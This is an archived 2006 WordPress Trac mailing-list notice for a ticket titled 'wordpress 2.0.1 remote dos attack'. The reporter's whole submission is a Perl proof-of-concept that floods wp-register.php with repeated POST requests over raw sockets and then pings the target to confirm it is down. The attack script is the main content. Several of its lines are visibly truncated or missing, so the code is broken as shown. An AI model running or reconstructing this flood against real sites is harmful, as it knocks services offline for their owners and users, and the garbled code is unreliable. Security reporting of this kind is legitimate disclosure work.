[wp-trac] [WordPress Trac] #2534: wordpress 2.0.1 remote dos attack

WordPress Trac wp-trac at lists.automattic.com
Sun Mar 5 20:34:41 GMT 2006

#2534: wordpress 2.0.1 remote dos attack
       Id:  2534       |      Status:  new                     
Component:  Security   |    Modified:  Sun Mar  5 20:34:41 2006
 Severity:  major      |   Milestone:  2.0.1                   
 Priority:  high       |     Version:  2.0.1                   
    Owner:  anonymous  |    Reporter:  matrix_killer           
 Wordpress v2.0.1 is vulnerable to a dos attack.The attack could be coused
 by multy-registrating users to the system.Here is a proof-of-concept
 exploit that I have coded:

 #Greets ot all omega-team members + h4cky0u[h4cky0u.org], lessMX6 and all
 dudes from #DevilDev ;)
 #The exploit was tested on 10 machines but not all got flooded.Only 6/10
 got crashed

 use Socket;

 if (@ARGV < 2) { &usage; }

 $host = $ARGV[0];
 $dir = $ARGV[1];

 $host =~ s/(http:\/\/)//eg; #no http://
 for ($i=0;
 $i++) #0_o :)
 #you N33d t0 be l33t t0 s33 th!S !
 $data =
 $len = length $data;
 $foo = "POST   ".$dir."wp-register.php HTTP/1.1\r\n".
                "Accept: */*\r\n".
                "Accept-Language: en-gb\r\n".
                "Content-Type: application/x-www-form-urlencoded\r\n".
                "Accept-Encoding: gzip, deflate\r\n".
                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
                "Host: $host\r\n".
                "Content-Length: $len\r\n".
                "Connection: Keep-Alive\r\n".
                "Cache-Control: no-cache\r\n\r\n".

      my $port = "80";
      my $proto = getprotobyname('tcp');
      socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
      connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
      send(SOCKET,"$foo", 0);
      syswrite STDOUT, "+";

 #s33 if the server is down
 print "\n\n";
 system('ping $host');

 sub usage {

 print "\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y
 print "\te-mail: matrix_k\@abv.bg\n";
 print "\tusage: \n";
 print "\t$0 <host> </dir/>\n";
 print "\tex: $0 /woredpress/\n";
 print "\tex2: $0 / (if there isn't a dir)\n";

 The result would be that either the machine will crash or the mysql will

Ticket URL: <http://trac.wordpress.org/ticket/2534>
WordPress Trac <http://wordpress.org/>
WordPress blogging software

More information about the wp-trac mailing list